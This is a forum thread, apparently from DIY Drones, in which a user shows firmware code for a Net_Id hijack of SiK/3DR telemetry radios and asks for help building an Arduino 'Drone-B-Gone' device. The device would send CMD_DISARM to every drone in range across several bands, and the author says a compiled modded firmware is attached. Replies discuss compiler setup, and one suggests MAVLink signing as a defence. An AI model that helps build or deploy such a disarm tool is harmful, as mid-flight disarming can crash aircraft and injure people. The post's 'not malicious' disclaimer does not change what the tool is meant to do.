HopeRF-TRP 3DR MavLink Attack


Project Status;          Design

Project Progress;       [∎∎∎                       ]


Once the project is complete i will be publishing it here


My write-up on my Blog www.googlex.co.uk/blog...


Hello DiyDrone.com Community!


My name is Jack and i'm currently working on a project to do with an exploit recently discovered (Oct 2015) in the MavLink Protocol.

First off the Exploit;

The exploit is to do with the radio's method of authentication, They use the header 'Net_Id' to identify themselves to the other radio's during transmission of data.

Within the Sik-Firmware for the SiLabs Si1000 ISM Radio thier is a file named "radio.c" within this file thier is some code that pulls the devices 'Net_Id' and checks it against incoming data packets to check if they are ment for the radio that is recieving them.

This is the original code;


// decode the header
errcount = golay_decode(6, buf, gout);
if (gout[0] != netid[0] || gout[1] != netid[1]) {
// its not for our network ID
debug("netid %x %x\n",
(unsigned)gout[0],
(unsigned)gout[1]);
goto failed;
}

However some guy has been able to modify this code so that when the radio receives a data packet it reads it's 'Net_Id' and sets the 'Net_Id' of the radio that received the packet to the same as the one that was just received, then the radio is able
to issue a command to the drone that it has just stolen the 'Net_Id' from such as "CMD_DISARM" witch would intern disarm the drone mid-flight!

Here is the "Modified" Code;


// decode the header
errcount = golay_decode(6, buf, gout);
if (gout[0] != netid[0] || gout[1] != netid[1]) {
// its not for our network ID
/* Mod */
// Set our radio to use the captured packets
NetID param_set(PARAM_NETID, gout[0]))
// Save the value to flash
param_save();
// To read the new value we need to reboot. Rebooting
RSTSRC |= (1 << 4);
/* End of Mod*/
}

My problem(s) are as follows.

I Can't compile the modded firmware as all of my Linux computers refuse to install Mono-Develop :/
I would like to have this running on a standalone Hope-RF HM-TRP 433 chip that is connected to an arduino, The arduino would have a display that when a button is pressed the display shows something like LINE1 "Drone-B-Gone" LINE2 "Disarming all drones in the area!" and the arduino would use Serial.Send() to send the command to the Hope-RF chip that contains the packet "CMD_DISARM" that would disarm the quad in flight.
I have no way of flashing the Hope-RF HM-TRP chip! I read somewhere that an arduino Uno could be used however i have lost that link :(
I Have NO Arduino experience so i don't even know how i would start coding something like this


And now for my Questions!
1. Can i link several HopeRF HM-TRP Modules together?? What i mean by this is could i possibly have 434/868/915 Modules with the modded code all linked to together with the Tx and Rx pins and the same power source (DUH with different antennas) so that when the button is pressed no matter what telemetry band the drone is using it WILL cover it?
2. Can someone please send me in the right direction on how i can achieve what i have asked above with an arduino??

All help is greatly appreciated!

Links to prior Research

http://madhacker.org/how-to-hijack-a-drone-by-telemetry-and-prevent-it/

https://github.com/Dronecode/SiK

http://www.shellntel.com/blog/2015/9/25/drone-code-execution

http://rc-fpv.pl/viewtopic.php?t=8011

Obviously i am not doing this in malicious intent... ;)

Thanks a lot guys!!!

Peace out ~Jack

<-------------------------------- UPDATE-1 ----------------------------------->

Having Second thoughts on how i should do this,

I am pondering as to weather i should use an android tablet with the usb OTG wire.

This way (As Andre K pointed out) I would be showing more skills as i am a confident android developer so i could possibly make my own app that gives me a multitude of functions such as Follow me, Disable, Manual Control, RTH//RTL, Set new home and go their also i could do flight mode change. I think this would possibly help me demonstrate more skills?

What do you guys think? Start you response with UPDATE-1 ;)

~Jack

<------------------------------ UPDATE-1 END ------------------------------->

<-------------------------------- UPDATE-2 ----------------------------------->

Finally getting somewhere!

A HUGE Thanks to Marcin Krawczyk for recommending Fedora to me!

I Have finally got the HRM_TRP firmware package compiled :)

It is attached below, This is the Fw WITH the mod :)

LINK TO FW FILE  <-- Not the correct upload!

I pulled an all niter doing this :S

~Jack

===

SUB UPDATE!

I accidentally uploaded the wrong file, this is the full dst output file :)

LINK TO FW FILE

===

<------------------------------ UPDATE-2 END ------------------------------->


By Jack Rogers


© InkyHacker 2016


hm_trp.zip

Firmware.zip

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Replies

            • Unfortunately does not support my version of windows (Win 10 64bit)

              3702889126?profile=original

            • Hi Jake,

              yeah I know that is probably the proper way to do it, but I just can't stop thinking that "if"....

              I had it compile ok, just had some strange problems with make.exe that is not compatible with the one it is made with.....

              • Check out my blog post on tuning the 3dr radios...

                http://diydrones.com/profiles/blogs/915-mhz-3dr-radio-tuning-with-7...

                You'll be fighting with windows forever on this.  The Kali VM will download overnight and you'll be compiling your custom firmware almost as fast as you can start the VM.

                It's not like the 10-20 gigs the VM storage takes costs anything these days.

          • Hi Carsten

            You cant compile the radio firmware under windows, You will need Linux running Mono-Devel, It states this in the GiThub page!

            • Mono is only for building the GUI settings tool.  Shouldn't need it otherwise.

  • MR60

    As the hope radios cannot provide hardware based secured communication channels, a security layer could (should) then be integrated in the mavlink communication protocol, preferably using digital signing certificates, the private certificate & associated secret key being stored on a small HSM chip onboard the radio IC.

    Apart from security, another advantage of using signing certificates is the anti-fraud aspect : we would be sure that the purchased radios are originals and not copies.

  • Okay, Just bought these for tbis project ;)

    http://www.amazon.co.uk/gp/product/B018XNYL5U

    It's all coming together :D

    I bought these specific radios because both of them have a USB interface and serial

    Now i need someone to compile the firmware for me,

    Marcin Krawczyk if i send you the files could you compile a 433 firmware file for me please?

    • I've destroyed those Linux virtual environment years ago...
      • File (If you can help) ;)

        Firmware.zip

      • Yeah, Do you think you will be able to help me compile the firmware though?

This reply was deleted.

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